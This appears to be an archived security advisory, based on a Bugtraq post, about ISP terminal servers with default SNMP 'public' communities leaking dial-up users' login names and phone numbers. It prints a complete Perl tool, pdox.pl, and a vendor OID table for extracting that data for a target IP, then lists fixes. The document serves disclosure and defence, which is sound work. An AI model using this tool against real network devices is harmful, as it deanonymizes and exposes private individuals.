Vulnerability
SNMP
Affected
munices
Description
JavaMan found that three major backbone providers are vunerable
to this sort of probing. When notified, they locked down their
network, and threatened legal action if their names were
mentioned in a bugtraq post on which this advisory is based on.
Authors are Lumpy and Javaman, of Philtered.Net.
Although prized by many users of the Internet, the concept of
privacy has been threatened from many angles in recent years.
With the rise of free web-based e-mail and advertisement-sponsored
dialup, users have been providing more personal information about
their shopping habits and interests, but rarely anything that can
trace them to their real-life identity, such as a Internet login
name, real name, home phone number, or SSN. A team from
Philtered.Net has recently found that this has not been the case
for many years. Due to security issues that have been long known
and long unresolved on the network level, it is possible to
retrieve a user's ISP login name remotely, and on some pieces of
hardware, their home phone number, without their knowledge. The
only information required to preform this transaction is the
user's IP address, which can be retrieved via logs of recently
visited web pages, or, not surprisingly, from the headers of
e-mails sent via services such as HotMail. In our eyes, this is
a problem.
Every machine on the Internet, short of some private networks, is
addressed via an IP address. This IP address is a unique identity
for the computer for the duration of connection to the network.
When communication with another system on the Internet is
conducted, each packet sent is tagged with the recipient and the
sender's IP address. Consequently, it is possible to route
backwards to the end user's machine. This is not important for
our discussion.
Enter SNMP, the Simple Network Management Protocol. This protocol
allows users of network equipment, (ie. Network Administrators),
to remotely query the state of the machine to test for system
load, utilization, and configuration. This technique facilitates
centralized network monitoring, an important capability for
high-reliability networks. The problem, however, is that many of
those who run these networks neglected to provide for the proper
security restrictions. Because of this, remote unauthorized
users can query the state of private networks. This is not a new
problem. This is a very old issue that has been ignored for too
long. What is new, however, is the large number of users who are
now on dialup access, and consequently, dialed into unsecured
servers. Additionally, no one released a tool that specifically
targets personal information in this way -- until now.
A member of Phitered.Net has written a tool using Perl and the
CMU-SNMP library that can extract personal information of the end
user via connecting to their network access server. This also
means that no connection to the end user is ever made; the only
network connection made is to the first machine after the end
user.
To show how simple it is to gain information, via the Internet,
based simply on their current IP address, here is a step by step
description on how we might gain personal information about a
user with the IP address 1.2.3.4. It is important to note that
in most cases our target will not even know that they are a target
of inquiry, since the procedure does not specify for any packets
to be sent to their personal computer. For the most simple
attack, we need to know the address of the device that our target
is connected through, that is to say, the first machine that each
packet to the Internet is being routed through. If we executed a
'traceroute' to the users address, they could surely see our
traffic. However, because most of the end user access devices
(ie terminal servers, DSL access units) handle many users, it is
usually possible to trace to an IP address just one or two
addresses from our target.
In this case, we will trace to 1.2.3.5. Our theoritical
traceroute shows us that the hop just before 1.2.3.4 should be
1.2.3.1. If SNMP is enabled on this device, it is often possible
to locate both the username and phone number of the end user.
The phone number and username are extracted from the MIB from the
end user device. By requesting the system description of the end
unit via SNMP, we can quickly locate the MIB, the connected
client's address table. Once we know where the IP address of our
target is located in the table, we can use its location in that
table to determine other relevant information about the end user.
The theoritical attacker can often determine the speed and type
of connection, the username used on the ISP, idle time, time
online, and most disturbingly, other personal information, such
as the phone number of the end user.
In some cases, the MIB is also writable by remote users. In this
situation, remote users can maliciously disconnect the end user,
or alter their data routes. In some cases, the entire device
that the end user is connected to can be powered down or rebooted.
Below is the Perl scipt we used to demonstrate the issue. Please
use this to only test your own network.
--- Start of pdox.pl ---
#!/usr/bin/perl
#
## By: lumpy_
#
## Description:
## Polls SNMP data on terminal servers.
#
## Requires:
##
## UCD-SNMP
## - By: Wes Hardaker
## - ftp://ucd-snmp.ucdavis.edu:/ucd-snmp.tar.gz
## Net::SNMP
## - By: David M. Town
## - ../CPAN/modules/by-module/Net/Net-SNMP-2.00.tar.gz
#
## Many thanks to:
## Javaman, Sangfroid, miff, floydy, negapluck, sirsyko, hyenur, and hal
##
#
use Net::SNMP;
sub syntax {
print "Syntax:\n\tpdox _NAS_DEVICE_ _IP_ [community]\n\n";
exit(1);
}
sub snmpget {
($oid_to_get)=@_;
($session, $error) = Net::SNMP->session(
Hostname => $hostname, Community => $community, Port => $port );
if (!defined($session)) { print("## Cant open device.\n"); exit(1); }
if (!defined($response = $session->get_request($oid_to_get))) {
printf("## %s\n", $session->error); $session->close;exit(1);}
$retval=$response->{$oid_to_get};
$session->close;
$retval=unpack("A*",pack("H*",$retval)) if (retval =~ /^0x/);
return($retval);
}
sub snmpwalk {
($oid_to_get)=@_;
($session, $error) = Net::SNMP->session(
Hostname => $hostname, Community => $community, Port => $port );
if (!defined($session)) { print("## Cant open device.\n"); exit(1); }
if (!defined($response = $session->get_table($oid_to_get))) {
printf("## %s\n", $session->error); $session->close;exit(1);}
$retval=$response;
$session->close;
return($retval);
}
## Main
$hostname = @ARGV[0];
$ip_were_hunting = @ARGV[1];
$community = @ARGV[2] || 'public';
$port = 161;
if (!$hostname || !$ip_were_hunting) { syntax; }
print "\n### pdox 2.0\n";
$sysdesc=snmpget('1.3.6.1.2.1.1.1.0');
print "## Got System Description: ",substr($sysdesc,0,50),"\n";
$found=0;
open(DAT,"pdox.dat");
while(<DAT>) {
next if (/^#/);
@parts=split;
if ($sysdesc =~ /@parts[0]/i) {$found++; last;}
}
if (!($found)) { print "## Unsupported device!\n"; exit(1); }
$userlist=snmpwalk(@parts[1]);
$found=0;
foreach ( sort keys %$response ) {
if ($response->{$_} eq $ip_were_hunting)
{$location=$_; substr($location,0,length(@parts[1]))=""; $found++;
print "## Found $ip_were_hunting in mib. location: $location\n";
}
}
if (!($found)) { print "## Couldnt find user in mib!\n"; exit(1); }
if (defined(@parts[2])) {
print "## Username: ",snmpget(@parts[2].$location),"\n";}
if (defined(@parts[3])) {
print "## Phone: ",snmpget(@parts[3].$location),"\n";}
print "\n";
exit 0;
--- Start of pdox.dat ---
#Vendor User Address Phone
livingston 1.3.6.1.4.1.307.3.2.1.1.1.14 1.3.6.1.4.1.307.3.2.1.1.1.4
lucent 1.3.6.1.4.1.307.3.2.1.1.1.14 1.3.6.1.4.1.307.3.2.1.1.1.4
ascend 1.3.6.1.4.1.529.12.2.1.4 1.3.6.1.4.1.529.12.2.1.3
nortel 1.3.6.1.4.1.166.1.14.2.1.19 1.3.6.1.4.1.166.1.14.2.1.4
shiva 1.3.6.1.4.1.166.1.14.2.1.19 1.3.6.1.4.1.166.1.14.2.1.4
cisco 1.3.6.1.4.1.9.10.19.1.3.1.1.4 1.3.6.1.4.1.9.10.19.1.3.1.1.3
annex-pri 1.3.6.1.4.1.15.2.11.3.1.6 1.3.6.1.4.1.15.2.16.1.1.1.1 1.3.6.1.4.1.15.2.16.1.1.1.2
annex 1.3.6.1.4.1.15.2.3.7.1.51 1.3.6.1.4.1.15.2.3.8.1.2
hiper 1.3.6.1.4.1.429.4.11.2.2.1.7 1.3.6.1.4.1.429.4.11.2.1.1.3
cvx .1.3.6.1.4.1.2637.2.2.101.1.13 .1.3.6.1.4.1.2637.2.2.101.1.12 .1.3.6.1.4.1.2637.2.2.101.1.29
aptis .1.3.6.1.4.1.2637.2.2.101.1.13 .1.3.6.1.4.1.2637.2.2.101.1.12 .1.3.6.1.4.1.2637.2.2.101.1.29
Solution
This in not a vulnerablity so much as a bad security practice.
It's akin to leaving your password file (with hashes) in your ftp
/etc dir or anonymous ftp server.... or allowing a zone to be
pulled from your nameserver. It can easily be locked down, many
folks don't do it tho (then again, a lot do, and they have many
pagers that will go off when you try and hit SNMP/pull
zone/etc...). Fix:
- Block SNMP access
- Change community names
- Filter access to network hardware
It is important to note that these security holes are as easy to
exploit on DSL connections as they are wit dialup connections.
These problems are easily located by security scanning software.
ISPs need to be aware that they are not exempt from needing
constant security audits in order to ensure QoS.
Machines shipping with SNMP communities of "public" and "private"
are inherently insecure (like a default shipment of NT). Most
vendors supply docs that say, to the effect, change the strings
now or you're in a world of hurt. Some, unfortunately, don't
educate the end user in this matter. Lastly, having an SNMP
string of "public" not only reveals customer info, it can reveal
passwords, network architecture, trusted hosts.. anything that
would be found in a config or statistics from a network device.
If a malicious user was going through the trouble (and risk) of
probing SNMP on a box, their are better targets than the end
user... the ISP for example.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
